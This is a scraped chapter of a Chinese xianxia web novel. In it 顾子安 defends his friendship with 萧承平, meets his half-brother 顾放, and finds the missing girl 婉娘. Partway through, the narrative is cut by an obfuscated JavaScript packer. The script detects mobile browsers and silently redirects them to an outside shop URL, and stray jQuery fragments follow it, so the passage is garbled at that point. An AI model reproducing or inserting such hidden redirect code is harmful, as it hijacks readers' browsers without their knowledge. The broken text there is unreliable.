文趣网 > 都市小说 > 勾引无情道宿敌 > 101. 纯友谊
    顾子安害怕顾微多想,回到怀宁疯传自己的绯闻,他倒是不怕自己的名节不保,他早就视名誉声望如粪土了,他担心萧承平这种风光霁月的人染上了污点,所以补充道:“那啥,小师妹……”

    顾子安环视一周,小师妹呆若木鸡噤若寒蝉,单宥犹如瓜地中的猹完全沉浸在看戏吃瓜,婉娘不敢说话这里的人她一个也惹不起,老鹰张开双翅护着崽崽们,崽崽们在老鹰身上身下活蹦乱窜。

    和顾微一同而来的那个青年气质沉郁低眉垂目,一直没有发出任何声响,顾子安在热闹的漩涡当中,险些没有发现这地方还有这么大一个活人。

    顾子安的目光最后回到萧承平身上,萧承平对他莞尔一笑。

    顾子安无形中受到鼓励,他深吸一口气,说道:“你可千万别多想,我和萧承平是最好的兄弟,这神武确实是我送给他的,他也送了我一把。”

    顾子安把神武辟罗拿出来,“喏,你自己看吧,我们这是礼尚往来。小师妹,回去别乱说话。”

    顾微:“…………”顾微的下巴仿佛掉到了地上,她用手绝望地抠住自己的下巴大拇指顺势疯狂掐人中。

    顾子安:“……”瞧你这没出息的样子。

    顾微的声音在颤抖:“你你你……”她好像发现了天大的奸情似的,语无伦次,声音尖利,“你们互赠神武?!”

    神武是烂大街的桃子李子吗?你们这么投桃报李礼尚往来的!

    这事儿本来没什么,完全就是朋友之间的一点人情往来罢了,顾子安不知道为什么顾微会是这个反应,好像他和萧承平之间有这什么不可告人的秘密似的。

    顾子安不允许有人恶意揣度诋毁他和萧承平之间纯洁美好的友谊,那对他来说是一种前所未有的挑衅和羞辱。

    顾子安郑重点头,“不错,萧承平是我唯一的挚友,顾微,你如何尊重我,就要如何尊重他。”

    萧承平站在顾子安身后,温吞地看向顾微,嘴角扬起一道微不可查的弧度。

    ……他在挑衅我吗?

    顾微心惊肉跳,心里疯狂咆哮——你究竟对子安师兄灌了什么迷魂汤?让他忘记了自己姓什么!以至于是非不辨敌我不分——和你鬼混在一起称兄道弟!!

    顾微给顾子安拍传音符,“你这么护着这个萧……萧承平,你可别忘了我们和商云萧氏不共戴天!”

    顾子安微笑传音道:“嘿嘿,我没忘啊,姓氏又不是不可以更改,我准备之后把他带回怀宁。”

    顾微:“!!!”

    顾微传音:“你还要把他带到怀宁?还要让这个萧……贱人冠上你我之姓氏?你们上床了?”

    除了这个,顾微想不到其它理由。

    顾子安托腮,传音:“那倒没有,他是个有能耐的人,与其我们将他推给商云,不如趁着交情挖墙脚,以此壮大我怀宁的力量。还有哈,不是我说你,你这丫头,真是肤浅至极,世间浓烈情感又不止于爱情,我们是至交好友,是棋逢对手,是志同道合,你不要妄加揣测。我会生气的。哪怕你是我唯一的小师妹。”

    顾微小脸惨白惨白的,看上去吓得不轻,顾子安也不好再多说些什么,毕竟在萧承平面前,他要注意自身形象,免得萧承平又说他。

    于是顾子安企图转移她的注意力。

    顾子安缺心眼似的挤眉弄眼问道:“那个人是谁?你拿啥啥吗?”

    顾微:“……”如果沉默是金,惊悚是银,那么今天她已经垒起千八百万座金山银山,富可敌国了。

    顾子安这么早就注意到顾放了吗?顾微本来的计划是顾子安遇到危险什么的,顾放去救他,然后再顺水推舟结识。

    有了一个好的开头,会有一个好的结尾……吧?

    现在可以设计的好的开头也无了。顾微扼腕叹息,她愁得直掉头发,她真不知道怎么回去找师尊交差了。她办事能力如此一言难尽,师尊真的不会把她扫地出门一脚踹飞逐出师门吗?

    顾微咽咽口水说:“不是。”

    “哦……他是咱怀宁的吧?”

    顾微艰涩道:“……是。”被发现了吗?要不说你们是一个爹生的亲兄弟呢?心有灵犀啊!

    顾子安一惊一乍:“是就好!来——”顾子安勾勾手指,“叫声师兄听听。”

    在怀宁,按照道理来说,比顾子安弱的都可以叫顾子安“师兄”或者“前辈”。

    顾子安没有前辈瘾,也不好为人师,只想过过师兄瘾,听别人不情不愿但又不得不叫自己师兄。

    顾微:“???”

    萧承平面无表情:“………………”

    单宥一语道破:“哈哈哈顾子安你小子就喜欢当师兄是吧!”

    被点名的顾放直起一向微微弯曲的脊背,想要比顾子安高一点,但是努力从来不是一蹴而就的,他踮起脚竭尽全力也才到顾子安的耳朵。

    顾子安看出了对方眼神行为中透露出的比试的意味,顾子安淡然一笑,他尊重每一个野心勃勃的人。

    顾子安从不觉得“野心”是一个贬义词,野心根植于人不甘平庸的生命本能,它昭示着人不愿屈从既定命运的精神自觉。

    顾子安拍了拍顾放的肩膀,说道:“你现在肯定是没有我那么高,你无需自卑,目前为止我遇到的能和我一较高低的只有一个人。”

    顾放抬眸,顾子安这才发现,对方拥有一双和自己一样的桃花眼,瞳孔还是十分罕见的灰绿色。

    顾微说:“那啥……子安师兄,严格意义上来说,他还没有拜宗主为师呢,所以他不能叫你师兄。”

    顾子安“嚯”一声,“那叫啥?称唤鄙人大名吗?也不是不可以,只要你能打赢我的话。”顾子安拔剑跃跃欲试。

    “我怎么可能打得过你?”顾放轻声道,“哥……”最后一个字轻柔得几乎被风吹散。

    我终于见到你了,哥。

    顾放从见到顾子安的第一眼开始,就止不住的自惭形秽又心向往之。

    十年了,他终于见到了这个父亲口中频繁称赞挂念的兄长,这个在怀宁消失了十年信讯全无但是依旧活跃在一众天骄口中的少宗主。

    顾放不止一次的幻想,这位兄长,究竟是一个怎么样的人?

    他应该天赋卓绝又吃苦耐劳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17853748|211867||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,修为高深而又心性坚毅,不然他那严于律己更严于律人的吹毛求疵的宗主父亲不会总是在与人交谈的不经意间将“顾敛”“顾子安”“子安”这些称呼颇为自豪地脱口而出。

    他应该冷血无情而诡计多端,不按常理出牌,不然在怀宁这个人杰天才扎堆泛滥的地界不会有如此多的手下败将,引得众人忌惮不已。这些手下败将们对顾敛念念不忘,每天都要向无所不知的大师兄涂明白投去三问:“顾敛死哪去了?顾敛什么时候回来?顾敛不会是怕了我吧哈哈哈所以躲在外面当缩头乌龟?”

    他应该强大、英挺、耀目,走在哪里都能谈笑风生,从容不迫,永远都是众星捧月的存在。

    顾放一直惴惴不安,他天生恐惧这样的人。

    然而无常的命运终于对顾放网开一面,顾子安竟然是如此的风趣随和、天真烂漫。

    打死顾放也没有想到,他和顾敛的第一次见面,会看到顾敛头上屁股上胳肢窝里都放着炸毛小鹰,如此滑稽,如此平易近人。

    “行吧,叫哥也行。”陈年旧事被顾子安随意抛掷在记忆的角落里,顾子安并非一个沉湎于过去的人,他早就忘记了自己曾经有一个身份尴尬的便宜弟弟。

    甚至当初就是因为这个便宜弟弟被顾真大摇大摆接回怀宁,自己公然受到无端羞辱和挑衅,也为母亲鸣不平,才负气出走怀宁,机缘巧合之下来到离康山拜师求道。

    顾子安道:“你俩来找我干吗?顾真死了要我回怀宁挖坑下葬吗?”

    单宥给顾子安这不客气的话语飞来一记眼刀,离康山岂是你想来就来想走就走的地方?

    单宥说:“人多事杂,一时半会儿说不清楚,不如我们进入山门,寻一个坐处慢慢说?”

    老鹰倒是想看人族的好戏,可是它的崽崽们一个劲的喊饿,叫唤不休,老鹰想走。却被顾子安拦下了,顾子安说:“你不能走,有村民说你偷走了很多牲畜,甚至一个名叫婉娘的女孩的失踪也和你有千丝万缕的联系。”

    老鹰凭空被泼脏水,竖起了眉毛:“婉娘的失踪和我有毛线关系,是她的族人自己抛弃了她,婉娘,你自己说。”

    顾子安和萧承平循着老鹰视线看过去,异口同声齐齐“哦”了一声,原来这个女孩就是婉娘,那还真是得来全不费工夫啊。

    婉娘的声音很低,说:“我,不肯牺牲自己的婚姻嫁给一个年老粗鲁凶残但是十分有钱的鳏夫,我不学好,和陌生人春风一度,未婚先孕,给家里丢脸了,他们叫我滚,我自知对不起生我养我的家庭,滚了。还有人念着我吗?想着我吗?”

    婉娘说着哽咽起来,泪水模糊视线,泪珠如同坠线的珍珠大颗大颗落下来。

    顾子安从萧承平那里拿来一块手帕,递给了婉娘,道:“妹儿,你别哭。当然有人记挂着你了。”

    “是谁?”

    顾子安想了想:“是一个女人,她看上去四五十岁吧,面相很苦,走路有点跛脚,这样说你能知道她是谁吗?”

    婉娘全身的力气仿佛瞬间被偷走,她身体一软扑在地上,手撑着地面,喃喃道:“娘,是我娘啊呜呜呜……”